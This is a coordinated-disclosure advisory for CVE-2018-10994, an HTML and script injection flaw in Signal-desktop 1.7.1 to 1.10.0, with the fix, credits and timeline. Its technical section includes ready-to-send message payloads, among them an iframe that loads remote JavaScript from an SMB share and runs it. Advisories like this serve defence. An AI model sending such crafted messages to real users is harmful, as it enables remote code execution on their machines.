Title: HTML tag injection in Signal-desktop

Date Published: 14-05-2018

CVE Name: CVE-2018-10994

Class: Code injection

Remotely Exploitable: Yes

Locally Exploitable: No

Vendors contacted: Signal.org

Vulnerability Description:

Signal-desktop is the standalone desktop version of the secure Signal
messenger.
This software is vulnerable to remote code execution from a malicious
contact,
by sending a specially crafted message containing HTML code that is
injected
into the chat windows (Cross-site scripting).

Vulnerable Packages:

Signal-desktop messenger v1.7.1
Signal-desktop messenger v1.8.0
Signal-desktop messenger v1.9.0
Signal-desktop messenger v1.10.0

Solution/Vendor Information/Workaround

Upgrade to Signal-desktop messenger v1.10.1, v1.11.0-beta.3.

Credits:

This vulnerability was found and researched by:
IvA!n Ariel Barrera Oro (@HacKanCuBa), Alfredo Ortega (@ortegaalfredo) and
Juliano Rizzo (@julianor), with assistance from
Javier Lorenzo Carlos Smaldone (@mis2centavos).

Technical Description - Exploit/Concept Code

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While discussing a XSS vulnerability on a website using the Signal-desktop
messenger, it was found that the messenger software also displayed a
code-injection vulnerability while parsing the affected URLs.
The Signal-desktop software fails to sanitize specific html-encoded HTML
tags
that can be used to inject HTML code into remote chat windows.
Specifically the <img> and <iframe> tags can be used to include remote
or local
resources. For example, the use of iframes enables full code execution,
allowing
 an attacker to download/upload files, information, etc. The <script>
tag was
also found injectable.
In the Windows operative system, the CSP fails to prevent remote
inclusion of
resources via the SMB protocol. In this case, remote execution of
JavaScript can
be achieved by referencing the script in a SMB share as the source of an
iframe tag, for example: <iframe src=\\DESKTOP-XXXXX\Temp\test.html>.
The included javascript code is then executed automatically, without any
interaction needed from the user. The vulnerability can be triggered in the
Signal-Desktop client by sending a specially crafted message. Example
messages:

    Show an iframe with some text:

http://hacktheplanet/?p=%3Ciframe%20srcdoc="<p>PWONED!!</p>"%3E%3C/iframe%3E

    Show a base64-encoded image (bypass "click to download image"):

http://hacktheplanet/?p=%3Cimg%20src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/wAALCAAtADwBAREA/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/9oACAEBAAA/AMapRbv5YckKD0z1pPJbjJAzSGIgjcQMnFEkZSTZkE+1STWksTKrAZbpThYzfLuAUN3JFJ9kkyeV4PrTBFyNzCpSGuZiRgY4ArRgtAvzSfMfSqN3EYpjsA2noTg1B87HlqNrnqxP40nlt6ml8pvWo/MY/wARqzAzcEVorK24RuAAw4IqLUo2EKFFJIOM9azN8oOMkfhTz9oVdxDhfWlR3ZOWJ/Gpdzep/OqVTQEq2MVpo4aNWABKHnNLIzNHGW7OST6DFZ92wEoAGAvX3qNrl/KaEH5CePaliPyYqVTwKrIu41O1u0Z4BP06irUDKiky5DYx04p8sxddpwFA6etZcrFnJPepLa2NwSFPIoQbQVPUHFTLjFUskd6d5j/3m/Ok3sf4j+dG9j/EfzpKVXZPusR9DSZPrS7j6mv/2Q=="%3e

    Include and auto-execute a remote JavaScript file (for Windows
clients):

http://hacktheplanet/?p=%3d%3Ciframe%20src=\\XXX.XXX.XXX.XXX\Temp\test.html%3E

Timeline:

    * 2018-05-10 18:45 GMT-3: vuln discovered

    * 2018-05-11 13:03 GMT-3: emailed Signal security team

    * 2018-05-11 15:02 GMT-3: reply from Signal: vuln confirmed & patch
ongoing

    * 2018-05-11 16:12 GMT-3: patch committed

    * 2018-05-11 18:00 GMT-3: signal-desktop update published

    * 2018-05-14 18:00 GMT-3: public disclosure


References:
    * Patch:
https://github.com/signalapp/Signal-Desktop/compare/v1.11.0-beta.2...v1.11.0-beta.3
    * Writeup:
https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection/